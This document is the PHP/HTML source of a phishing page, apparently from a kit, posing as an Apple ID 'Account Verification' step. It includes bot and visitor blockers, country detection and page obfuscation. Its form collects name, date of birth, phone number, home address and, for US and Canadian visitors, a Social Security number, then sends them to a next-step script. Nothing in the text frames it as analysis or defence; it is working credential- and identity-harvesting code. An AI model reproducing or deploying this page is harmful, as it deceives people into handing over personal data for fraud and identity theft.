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- <?php
- error_reporting(0);
- require "assets/includes/blockers.php";
- require "blocker.php";
- require "assets/includes/session_protect.php";
- require "assets/includes/detect_country.php";
- require "assets/includes/functions.php";
- require "assets/includes/language.mob.php";
- require "assets/includes/One_Time.php";
- require "assets/includes/enc.php";
- if(!empty($_SESSION['firstname'])){
- $firstname = 'value="'.$_SESSION['firstname'].'"';
- } else {
- $firstname = '';
- }
- if(!empty($_SESSION['midlename'])){
- $midlename = 'value="'.$_SESSION['midlename'].'"';
- } else {
- $midlename = '';
- }
- if(!empty($_SESSION['lastname'])){
- $lastname = 'value="'.$_SESSION['lastname'].'"';
- } else {
- $lastname = '';
- }
- if(!empty($_SESSION['address'])){
- $address = 'value="'.$_SESSION['address'].'"';
- } else {
- $address = '';
- }
- if(!empty($_SESSION['city'])){
- $city = 'value="'.$_SESSION['city'].'"';
- } else {
- $city = '';
- }
- if(!empty($_SESSION['zip'])){
- $zip = 'value="'.$_SESSION['zip'].'"';
- } else {
- $zip = '';
- }
- if(!empty($_SESSION['state'])){
- $state = 'value="'.$_SESSION['state'].'"';
- } else {
- $state = '';
- }
- if(!empty($_SESSION['phone'])){
- $x_phone_x = str_replace(" ", "", $_SESSION['phone']);
- $phone = 'value="'.$x_phone_x.'"';
- } else {
- $phone = '';
- }
- if(!empty($_SESSION['dob'])){
- $dob = 'value="'.$_SESSION['dob'].'"';
- } else {
- $dob = '';
- }
- encryptPage();
- ?>
- <!DOCTYPE html>
- <html>
- <head>
- <meta content="text/html; charset=utf-8" http-equiv="Content-Type">
- <meta content="width=device-width, initial-scale=1, maximum-scale=1, user-scalable=no" name="viewport">
- <title>Confirm your information</title>
- <link href="assets/img/favicon.ico" rel="shortcut icon" type="image/x-icon">
- <link href="assets/css/First.css" media="all" rel="stylesheet" type="text/css">
- <link href="assets/css/Second.css" rel="stylesheet" type="text/css">
- <link href="assets/css/Fonts.css" rel="stylesheet" type="text/css">
- <link href="assets/css/verify.css" rel="stylesheet" type="text/css">
- <style>.error {color:red}</style>
- </head>
- <body id="pagecontent">
- <div id="content">
- <div class="bdd45">
- <?php
- include 'navbar.php';
- ?>
- <div id="flow">
- <div class="flow-body signin clearfix" role="main">
- <div class="persona-splash no-photo clearfix">
- <div class="persona-bg"></div>
- <div class="container">
- <div class="splash-section">
- <div class=" person-wrapper">
- <div>
- <div class="row">
- <div class="col-sm-9 appleid-col">
- <div class="flex-container">
- <h1 class="mobile appleid-user">
- <span class="first_name">Account Verification</span>
- <small class="SessionUser">Your Apple ID is <strong><?php echo $_SESSION['user'];?></strong> </small>
- </h1>
- </div>
- </div>
- <div class="not-mobile col-sm-3">
- <div class="flex-container-signout">
- <div class="signout pull-right">
- <a href="Signout.php?sslchannel=true&sessionid=<?php echo md5(gmdate("r")).sha1(gmdate("r"));?>"><button class="btn btn-link">Sign Out </button></a>
- </div>
- </div>
- </div>
- </div>
- </div>
- </div>
- </div>
- </div>
- </div>
- <div class="container">
- <div class="flex home-content">
- <form action="Step2.php?&sessionid=<?php echo generateRandomString(115); ?>&securessl=true" method="post" name="details" id="details" class="proceed">
- <div class="container flow-sections">
- <div class="editable account-edit clearfix">
- <div class="row edit-row">
- <div class="col-sm-5">
- <h3 class="section-subtitle" id="nameLabel">Personal Information</h3>
- <div class="form-group">
- <div class="pop-wrapper field-pop-wrapper first-wrapper">
- <div class="name-input">
- <input type="text" name="fname" id="fname" class="generic-input-field form-control field" <?=$firstname;?> placeholder="first name">
- <span id="nameerror"></span>
- </div>
- </div>
- <div class="pop-wrapper field-pop-wrapper middle-wrapper">
- <div class="name-input">
- <input type="text" name="mname" id="mname" class="generic-input-field form-control field" <?=$lastname;?> placeholder="middle name (optional)">
- </div>
- </div>
- <div class="pop-wrapper field-pop-wrapper middle-wrapper">
- <div class="name-input">
- <input type="text" name="lname" id="lname" class="generic-input-field form-control field" <?=$lastname;?> placeholder="last name">
- </div>
- </div>
- <div class="pop-wrapper field-pop-wrapper middle-wrapper">
- <div class="name-input">
- <input id="dob" name="dob" class="form-control form-input" type="tel" <?=$dob;?> placeholder="date of birth">
- </div>
- </div>
- <div class="pop-wrapper field-pop-wrapper middle-wrapper">
- <div class="name-input">
- <input id="telephone" name="telephone" class="form-control form-input" type="tel" <?=$phone;?> placeholder="telephone number">
- </div>
- </div>
- <?php
- if($negara=="US" or $negara=="CA") {
- echo $lang['SSN'];
- }
- ?>
- <div class="pop-wrapper field-pop-wrapper middle-wrapper">
- <div class="name-input">
- <input type="text" name="address" id="address" class="generic-input-field form-control field" <?=$address;?> placeholder="address Line 1">
- </div>
- </div>
- <div class="pop-wrapper field-pop-wrapper middle-wrapper">
- <div class="name-input">
- <input type="text" name="address2" id="address2" class="generic-input-field form-control field" placeholder="address Line 2 (optional)">
- </div>
- </div>
- <div class="pop-wrapper field-pop-wrapper middle-wrapper">
- <div class="name-input">
- <input type="text" name="town" id="town" class="generic-input-field form-control field" <?=$city;?> placeholder="town / city">
- </div>
- </div>
- <div class="form-group clearfix middle-wrapper">
- <div class="select-wrapper">
- <?php
- if(!empty($_SESSION['fullname'])) {
- if(!empty($_SESSION['state'])) {
- echo '<input type="text" name="county" id="county" class="generic-input-field form-control field" '.$state.' placeholder="state">';
- } else {
- echo '<input type="text" name="county" id="county" class="generic-input-field form-control field" placeholder="state">';
- }
- } else {
- if($negara=="US" or $negara=="CA" or $negara=="AU" or $negara=="GB") {
- echo $lang['COUNTYSELECT'];
- } else {
- echo '<input type="text" name="county" id="county" class="generic-input-field form-control field" placeholder="state">';
- }
- }
- ?>
- </div>
- </div>
- <div class="pop-wrapper field-pop-wrapper last-wrapper">
- <div class="name-input">
- <input type="text" name="postcodes" id="postcodes" class="generic-input-field form-control field" <?=$zip;?> placeholder="<?php echo $lang['POSTCODE'];?>">
- </div>
- </div>
- <?php if($negara=="US" or $negara=="CA" or $negara=="AU" or $negara=="GB") { ?>
- <input type="hidden" name="country" value="<?php echo $lang['COUNTRY'];?>">
- <?php } else { ?>
- <input type="hidden" name="country" value="<?php echo $nama_negara;?>">
- <?php } ?>
- <br>
- <br>
- <input type="submit" class="gobtn btn-link" style="width:50%;margin-left:auto;margin-right:auto;float:right" value="Next">
- </div>
- </div>
- </div>
- </div>
- </div>
- </form>
- </div>
- </div>
- </div>
- </div>
- </div>
- </div>
- </body>
- </html>
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